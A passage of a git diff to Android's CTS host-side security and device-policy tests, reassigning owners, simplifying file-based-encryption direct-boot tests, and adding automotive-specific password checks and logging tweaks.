+per-file MajorVersionTest.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file PermissionsHostTest.java = ashfall@google.com
+per-file Pkg* = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file PrivilegedUpdateTests.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file SharedUserIdTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file SplitTests.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+# Resources
+per-file CorruptApkTests.java = patb@google.com, zyy@google.com
+per-file OverlayHostTest.java = patb@google.com, zyy@google.com
 # test apps
-per-file BasePermissionsTest.java = moltmann@google.com
-per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file ReviewPermissionHelper = moltmann@google.com
-per-file UsePermission*.java = moltmann@google.com
+per-file BasePermissionsTest.java = ashfall@google.com
+per-file RequestsOnlyCalendarApp22.java = ashfall@google.com
+per-file ReviewPermissionHelper = ashfall@google.com
+per-file UsePermission*.java = ashfall@google.com
 # CTS shim packages
 per-file CtsShim*.apk = dariofreni@google.com
 per-file CtsShim*.apk = ioffe@google.com
@@ -49,4 +64,4 @@
 per-file ScopedDirectoryAccessTest.java = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
 
 per-file *Documents* = file:platform/packages/apps/DocumentsUI:/OWNERS
-per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index fb4d9d0..cb76f326f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -390,6 +390,7 @@
             // Uninstall the internal copy and remount; we should have no record of app
             getDevice().uninstallPackage(PKG);
             getDevice().executeShellCommand("sm mount " + vol.volId);
+            waitForVolumeReady();
 
             assertEmpty(getDevice().executeShellCommand("pm list packages " + PKG));
         } finally {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index b872cf3..67fb73d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -76,9 +76,6 @@
     private static final String APPB_METHOD_CAN_NOT_ACCESS_APPA_DIR = "testCanNotAccessAppADataDir";
     private static final String APPB_METHOD_CAN_ACCESS_APPA_DIR = "testCanAccessAppADataDir";
 
-    private static final String FBE_MODE_NATIVE = "native";
-    private static final String FBE_MODE_EMULATED = "emulated";
-
     private static final String APPA_METHOD_CREATE_EXTERNAL_DIRS = "testCreateExternalDirs";
     private static final String APPA_METHOD_TEST_ISOLATED_PROCESS = "testIsolatedProcess";
     private static final String APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS =
@@ -221,17 +218,7 @@
             Thread.sleep(15000);
 
             // Follow DirectBootHostTest, reboot system into known state with keys ejected
-            if (isFbeModeEmulated()) {
-                final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
-                if (res != null && res.contains("Emulation not supported")) {
-                    LogUtil.CLog.i("FBE emulation is not supported, skipping test");
-                    return;
-                }
-                getDevice().waitForDeviceNotAvailable(30000);
-                getDevice().waitForDeviceOnline(120000);
-            } else {
-                getDevice().rebootUntilOnline();
-            }
+            getDevice().rebootUntilOnline();
             waitForBootCompleted(getDevice());
 
             // Verify DE data is still readable and writeable, while CE and external data are not
@@ -268,13 +255,7 @@
                         "settings delete global require_password_to_decrypt");
             } finally {
                 // Get ourselves back into a known-good state
-                if (isFbeModeEmulated()) {
-                    getDevice().executeShellCommand("sm set-emulate-fbe false");
-                    getDevice().waitForDeviceNotAvailable(30000);
-                    getDevice().waitForDeviceOnline();
-                } else {
-                    getDevice().rebootUntilOnline();
-                }
+                getDevice().rebootUntilOnline();
                 getDevice().waitForDeviceAvailable();
             }
         }
@@ -423,15 +404,4 @@
                 "getprop persist.sys.vold_app_data_isolation_enabled").trim(),
                 is("true"));
     }
-
-    private boolean isFbeModeEmulated() throws Exception {
-        String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
-        if (mode.equals(FBE_MODE_EMULATED)) {
-            return true;
-        } else if (mode.equals(FBE_MODE_NATIVE)) {
-            return false;
-        }
-        fail("Unknown FBE mode: " + mode);
-        return false;
-    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index ab51c75..f3d58ee 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -26,8 +26,6 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
-import android.platform.test.annotations.RequiresDevice;
-
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -54,10 +52,6 @@
     private static final String OTHER_APK = "CtsSplitApp29.apk";
     private static final String OTHER_PKG = "com.android.cts.splitapp";
 
-    private static final String MODE_NATIVE = "native";
-    private static final String MODE_EMULATED = "emulated";
-    private static final String MODE_NONE = "none";
-
     private static final String FEATURE_DEVICE_ADMIN = "feature:android.software.device_admin";
     private static final String FEATURE_SECURE_LOCK_SCREEN =
             "feature:android.software.secure_lock_screen";
@@ -65,8 +59,6 @@
     private static final String FEATURE_SECURITY_MODEL_COMPATIBLE =
             "feature:android.hardware.security.model.compatible";
 
-    private static final long SHUTDOWN_TIME_MS = 30 * 1000;
-
     @Before
     public void setUp() throws Exception {
         Utils.prepareSingleUser(getDevice());
@@ -84,53 +76,36 @@
     }
 
     /**
-     * Automotive devices MUST support native FBE.
+     * Automotive devices MUST use FBE.
      */
     @Test
-    public void testAutomotiveNativeFbe() throws Exception {
+    public void testAutomotiveFbe() throws Exception {
         assumeSupportedDevice();
         assumeTrue("Device not automotive; skipping test", isAutomotiveDevice());
-
-        assertTrue("Automotive devices must support native FBE",
-            MODE_NATIVE.equals(getFbeMode()));
+        assertTrue("Automotive devices must use FBE", fbeEnabled());
     }
 
     /**
-     * If device has native FBE, verify lifecycle.
+     * If device uses FBE, verify the direct boot lifecycle.
      */
     @Test
-    public void testDirectBootNative() throws Exception {
+    public void testDirectBoot() throws Exception {
         assumeSupportedDevice();
-        assumeTrue("Device doesn't have native FBE; skipping test",
-                MODE_NATIVE.equals(getFbeMode()));
-        doDirectBootTest(MODE_NATIVE);
+        assumeTrue("Device doesn't use FBE; skipping test", fbeEnabled());
+        doDirectBootTest(true);
     }
 
     /**
-     * If device doesn't have native FBE, enable emulation and verify lifecycle.
+     * If device doesn't use FBE, verify the legacy lifecycle.
      */
     @Test
-    @RequiresDevice
-    public void testDirectBootEmulated() throws Exception {
+    public void testNoDirectBoot() throws Exception {
         assumeSupportedDevice();
-        assumeFalse("Device has native FBE; skipping test",
-                MODE_NATIVE.equals(getFbeMode()));
-        doDirectBootTest(MODE_EMULATED);
+        assumeFalse("Device uses FBE; skipping test", fbeEnabled());
+        doDirectBootTest(false);
     }
 
-    /**
-     * If device doesn't have native FBE, verify normal lifecycle.
-     */
-    @Test
-    public void testDirectBootNone() throws Exception {
-        assumeSupportedDevice();
-        assumeFalse("Device has native FBE; skipping test",
-                MODE_NATIVE.equals(getFbeMode()));
-        doDirectBootTest(MODE_NONE);
-    }
-
-    public void doDirectBootTest(String mode) throws Exception {
-        boolean doTest = true;
+    public void doDirectBootTest(boolean fbeEnabled) throws Exception {
         try {
             // Set up test app and secure lock screens
             new InstallMultiple().addFile(APK).run();
@@ -150,24 +125,13 @@
             Thread.sleep(15000);
 
             // Reboot system into known state with keys ejected
-            if (MODE_EMULATED.equals(mode)) {
-                final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
-                if (res != null && res.contains("Emulation not supported")) {
-                    doTest = false;
-                }
-                getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                getDevice().waitForDeviceOnline(120000);
-            } else {
-                getDevice().rebootUntilOnline();
-            }
+            getDevice().rebootUntilOnline();
             waitForBootCompleted(getDevice());
 
-            if (doTest) {
-                if (MODE_NONE.equals(mode)) {
-                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
-                } else {
-                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
-                }
+            if (fbeEnabled) {
+                runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
+            } else {
+                runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
             }
 
         } finally {
@@ -178,13 +142,7 @@
                 getDevice().uninstallPackage(PKG);
 
                 // Get ourselves back into a known-good state
-                if (MODE_EMULATED.equals(mode)) {
-                    getDevice().executeShellCommand("sm set-emulate-fbe false");
-                    getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                    getDevice().waitForDeviceOnline();
-                } else {
-                    getDevice().rebootUntilOnline();
-                }
+                getDevice().rebootUntilOnline();
                 getDevice().waitForDeviceAvailable();
             }
         }
@@ -196,8 +154,8 @@
         Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
     }
 
-    private String getFbeMode() throws Exception {
-        return getDevice().executeShellCommand("sm get-fbe-mode").trim();
+    private boolean fbeEnabled() throws Exception {
+        return "file".equals(getDevice().getProperty("ro.crypto.type"));
     }
 
     private void assumeSupportedDevice() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
index 8deeb76..cd41b61 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
@@ -86,6 +86,11 @@
         // TODO: this is not standard notation for IPv6. Use [$addr]:$port instead as per RFC 3986.
         EXCEPTION_PATTERNS.add(":::5555");          // emulator port for adb
         EXCEPTION_PATTERNS.add(":::7275");          // used by supl
+
+        // DHCP: This port is open when a network is connected before DHCP is resolved
+        // And can also be opened on boot for ethernet networks.
+        // Thus a device connected via wifi with an ethernet port can encounter this.
+        EXCEPTION_PATTERNS.add("0.0.0.0:68");
     }
 
     /**
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
index b4292a6..c8271f9 100644
--- a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 137825
-ewol@google.com
+ashfall@google.com
 zhanghai@google.com
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 72c3cae..0e8186d 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -122,7 +122,8 @@
             UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true).instance(j));
             ((UiScrollable) localObject).setMaxSearchSwipes(10);
             try {
-                 ((UiScrollable) localObject).scrollTextIntoView("internal storage");
+                 ((UiScrollable) localObject).scrollIntoView(
+                   new UiSelector().textContains("internal storage"));
             } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
                 // Scrolling can fail if the UI is not scrollable
             }
@@ -133,7 +134,7 @@
         device.findObject(new UiSelector().textContains("Clear")).click();
         device.waitForIdle();
 
-        device.findObject(new UiSelector().text("OK")).click();
+        device.findObject(new UiSelector().text("DELETE")).click();
     }
 
     private void clearSpaceWatch(UiDevice device) throws UiObjectNotFoundException {
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
index f761e8f..7beb7c8 100644
--- a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
@@ -49,6 +49,11 @@
  */
 public class AtraceHostTest extends AtraceHostTestBase {
 
+    private static final String WARNING_STRING =
+        "** Warning: atrace will end vendor support in the next Android Release. **\n" +
+        "** Perfetto is the suggested replacement tool. It will gain vendor      **\n" +
+        "** support. See https://perfetto.dev/docs/quickstart/android-tracing    **\n\n";
+
     private interface FtraceEntryCallback {
         void onTraceEntry(String threadName, int pid, int tid, String eventType, String args);
         void onFinished();
@@ -95,7 +100,7 @@
      * Tests that atrace exists and is runnable with no args
      */
     public void testSimpleRun() {
-        String output = shell("atrace");
+        String output = shell("atrace 2> /dev/null");
         String[] lines = output.split("\\r?\\n");
 
         // check for expected stdout
@@ -110,7 +115,7 @@
      * Tests the output of "atrace --list_categories" to ensure required categories exist.
      */
     public void testCategories() {
-        String output = shell("atrace --list_categories");
+        String output = shell("atrace --list_categories 2> /dev/null");
         String[] categories = output.split("\\r?\\n");
 
         Set<String> requiredCategories = new HashSet<String>(Arrays.asList(
@@ -133,6 +138,11 @@
         }
     }
 
+    public void testStderrWarning() {
+        String output = shell("atrace > /dev/null");
+        assertEquals(WARNING_STRING, output);
+    }
+
     public void testTracingIsEnabled() {
         runSingleAppTest(assertTracingOff);
         traceSingleTest(assertTracingOn, true);
diff --git a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
index 272a3df..42922e1 100644
--- a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
+++ b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
@@ -44,11 +44,6 @@
     private static final String CLASS = PKG + ".CallLogDirectBootTest";
     private static final String APK = "CtsCallLogDirectBootApp.apk";
 
-    private static final String MODE_EMULATED = "emulated";
-    private static final String MODE_NONE = "none";
-
-    private static final long SHUTDOWN_TIME_MS = 30 * 1000;
-
     @Before
     public void setUp() throws Exception {
         assertNotNull(getAbi());
@@ -64,9 +59,8 @@
 
     @Test
     public void testDirectBootCallLog() throws Exception {
-        String fbeMode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
-        if (MODE_NONE.equals(fbeMode)) {
-            Log.i(TAG, "Device doesn't support FBE, skipping.");
+        if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
+            Log.i(TAG, "Device doesn't use FBE, skipping.");
             return;
         }
         try {
@@ -85,16 +79,7 @@
 
             Log.i(TAG, "Rebooting device");
             // Reboot system into known state with keys ejected
-            if (MODE_EMULATED.equals(fbeMode)) {
-                final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
-                if (res != null && res.contains("Emulation not supported")) {
-                    return;
-                }
-                getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                getDevice().waitForDeviceOnline(120000);
-            } else {
-                getDevice().rebootUntilOnline();
-            }
+            getDevice().rebootUntilOnline();
             waitForBootCompleted(getDevice());
 
             assertTrue(runDeviceTests(PKG, CLASS, "testShadowCallComposerPicture"));
@@ -110,13 +95,7 @@
                 getDevice().uninstallPackage(PKG);
 
                 // Get ourselves back into a known-good state
-                if (MODE_EMULATED.equals(fbeMode)) {
-                    getDevice().executeShellCommand("sm set-emulate-fbe false");
-                    getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                    getDevice().waitForDeviceOnline();
-                } else {
-                    getDevice().rebootUntilOnline();
-                }
+                getDevice().rebootUntilOnline();
                 getDevice().waitForDeviceAvailable();
             }
         }
diff --git a/hostsidetests/car/OWNERS b/hostsidetests/car/OWNERS
index d4705b9..c5bee2d 100644
--- a/hostsidetests/car/OWNERS
+++ b/hostsidetests/car/OWNERS
@@ -1,4 +1,2 @@
 # Bug component: 526680
-felipeal@google.com
-gurunagarajan@google.com
-keunyoung@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
index 7057462..66c6c5a 100644
--- a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
@@ -299,6 +299,7 @@
                     CarWatchdogManager.FLAG_RESOURCE_OVERUSE_IO,
                     CarWatchdogManager.STATS_PERIOD_CURRENT_DAY);
         }
+        Log.d(TAG, "Fetched resource overuse stats: " + stats);
         IoOveruseStats ioOveruseStats = stats.getIoOveruseStats();
         if (ioOveruseStats == null) {
             setDumpMessage(
@@ -312,7 +313,6 @@
                     + "' returned by get request");
             return 0;
         }
-        Log.d(TAG, ioOveruseStats.toString());
         /*
          * Check for foreground mode bytes given CtsCarApp is running in the foreground
          * during testing.
@@ -343,26 +343,24 @@
         @Override
         public void onOveruse(ResourceOveruseStats resourceOveruseStats) {
             synchronized (mLock) {
+                Log.d(TAG, "onOveruse callback received: " + resourceOveruseStats);
                 mForegroundModeBytes = -1;
                 mNotificationReceived = true;
                 mLock.notifyAll();
-            }
-            Log.d(TAG, resourceOveruseStats.toString());
-            if (resourceOveruseStats.getIoOveruseStats() == null) {
-                setDumpMessage(
-                        "ERROR: No I/O overuse stats reported for the application in the overuse "
-                        + "notification.");
-                return;
-            }
-            long reportedWrittenBytes =
-                    resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
-            if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
-                setDumpMessage("ERROR: Actual written bytes to disk '" + mExpectedMinWrittenBytes
-                        + "' don't match written bytes '" + reportedWrittenBytes
-                        + "' reported in overuse notification");
-                return;
-            }
-            synchronized (mLock) {
+                if (resourceOveruseStats.getIoOveruseStats() == null) {
+                    setDumpMessage(
+                            "ERROR: No I/O overuse stats reported for the application in the "
+                            + "overuse notification.");
+                    return;
+                }
+                long reportedWrittenBytes =
+                        resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
+                if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
+                    setDumpMessage("ERROR: Actual written bytes to disk '"
+                            + mExpectedMinWrittenBytes + "' don't match written bytes '"
+                            + reportedWrittenBytes + "' reported in overuse notification");
+                    return;
+                }
                 mForegroundModeBytes =
                         resourceOveruseStats.getIoOveruseStats().getRemainingWriteBytes()
                                 .getForegroundModeBytes();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index fcc7d5d..472cdbc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -44,7 +44,7 @@
 
     <!-- Add a network security config that trusts user added CAs for tests -->
     <application android:networkSecurityConfig="@xml/network_security_config"
-         android:testOnly="true">
+         android:testOnly="true" android:debuggable="true">
 
         <uses-library android:name="android.test.runner"/>
         <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 67a5085..76126cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -127,6 +127,8 @@
     protected UserManager mUserManager;
     protected Context mContext;
     protected boolean mHasSecureLockScreen;
+    protected boolean mIsAutomotive;
+    protected boolean mIsDeviceOwnerTest;
     static CountDownLatch mOnPasswordExpiryTimeoutCalled;
 
     protected final String mTag = getClass().getSimpleName();
@@ -141,12 +143,14 @@
 
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        mIsAutomotive = mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE);
 
-        boolean isDeviceOwnerTest = "DeviceOwner"
+        mIsDeviceOwnerTest = "DeviceOwner"
                 .equals(InstrumentationRegistry.getArguments().getString("admin_type"));
 
         mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
-                BasicAdminReceiver.class, isDeviceOwnerTest);
+                BasicAdminReceiver.class, mIsDeviceOwnerTest);
 
         Log.v(TAG, "setup(): dpm for " + getClass() + " and user " + mContext.getUserId() + ": "
                 + mDevicePolicyManager);
@@ -159,7 +163,7 @@
         Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME
                 + ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT
                 + ", isActiveAdmin=" + isActiveAdmin + ", isProfileOwner=" + isProfileOwner
-                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest);
+                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + mIsDeviceOwnerTest);
 
         assertWithMessage("active admin for %s", ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin)
                 .isTrue();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/GetPasswordExpirationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/GetPasswordExpirationTest.java
index 3ce561a..8225417 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/GetPasswordExpirationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/GetPasswordExpirationTest.java
@@ -45,7 +45,7 @@
 
     public void testGetPasswordExpirationUpdatedAfterPasswordReset_afterReset() throws Exception {
         checkPasswordExpiration("Password expiration time not refreshed correctly"
-                + " after reseting password", TIMEOUT_RESET_TEST, 10000);
+                + " after resetting password", TIMEOUT_RESET_TEST, 19000);
     }
 
     private void checkPasswordExpiration(String error, long timeout, long tolerance) {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
index f9ce726..59a5a5c6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
@@ -22,18 +22,22 @@
 
 import static org.testng.Assert.assertThrows;
 
+import android.util.Log;
+
 /**
  * Class that tests password constraints API preconditions.
  */
 public class PasswordRequirementsTest extends BaseDeviceAdminTest {
+
     private static final int TEST_VALUE = 5;
+
+    private static final int DEFAULT_LENGTH = 0;
     private static final int DEFAULT_NUMERIC = 1;
     private static final int DEFAULT_LETTERS = 1;
     private static final int DEFAULT_UPPERCASE = 0;
     private static final int DEFAULT_LOWERCASE = 0;
     private static final int DEFAULT_NON_LETTER = 0;
     private static final int DEFAULT_SYMBOLS = 1;
-    private static final int DEFAULT_LENGTH = 0;
 
     public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() {
         // Pre-R password restrictions can be set in any order.
@@ -51,23 +55,46 @@
         // Make sure these values are preserved and not reset when quality is set low.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+        if (mIsAutomotive) {
+            assertEquals(DEFAULT_LENGTH,
+                    mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_NUMERIC,
+                    mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_LETTERS,
+                    mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_UPPERCASE,
+                    mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_LOWERCASE,
+                    mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_NON_LETTER,
+                    mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_SYMBOLS,
+                    mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+        } else {
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+
+        }
     }
 
     public void testSettingConstraintsWithLowQualityThrowsOnRPlus() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithLowQualityThrowsOnRPlus")) {
+            return;
+        }
+
         // On R and above quality should be set first.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
@@ -89,6 +116,11 @@
     }
 
     public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus")) {
+            return;
+        }
+
         // On R and above quality should be set first.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
@@ -112,6 +144,11 @@
     }
 
     public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality")) {
+            return;
+        }
+
         // On R and above when quality is lowered, irrelevant requirements are getting reset.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
@@ -153,6 +190,13 @@
         // Now length should also be reset.
         assertEquals(DEFAULT_LENGTH,
                 mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+    }
 
+    private boolean deviceSupportDeprecatedPasswordQualityAPIs(String test) {
+        if (mIsAutomotive) {
+            Log.d(mTag, "Skipping " + test + "on automotive build");
+            return false;
+        }
+        return true;
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index f0d69e8..1ab76e5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
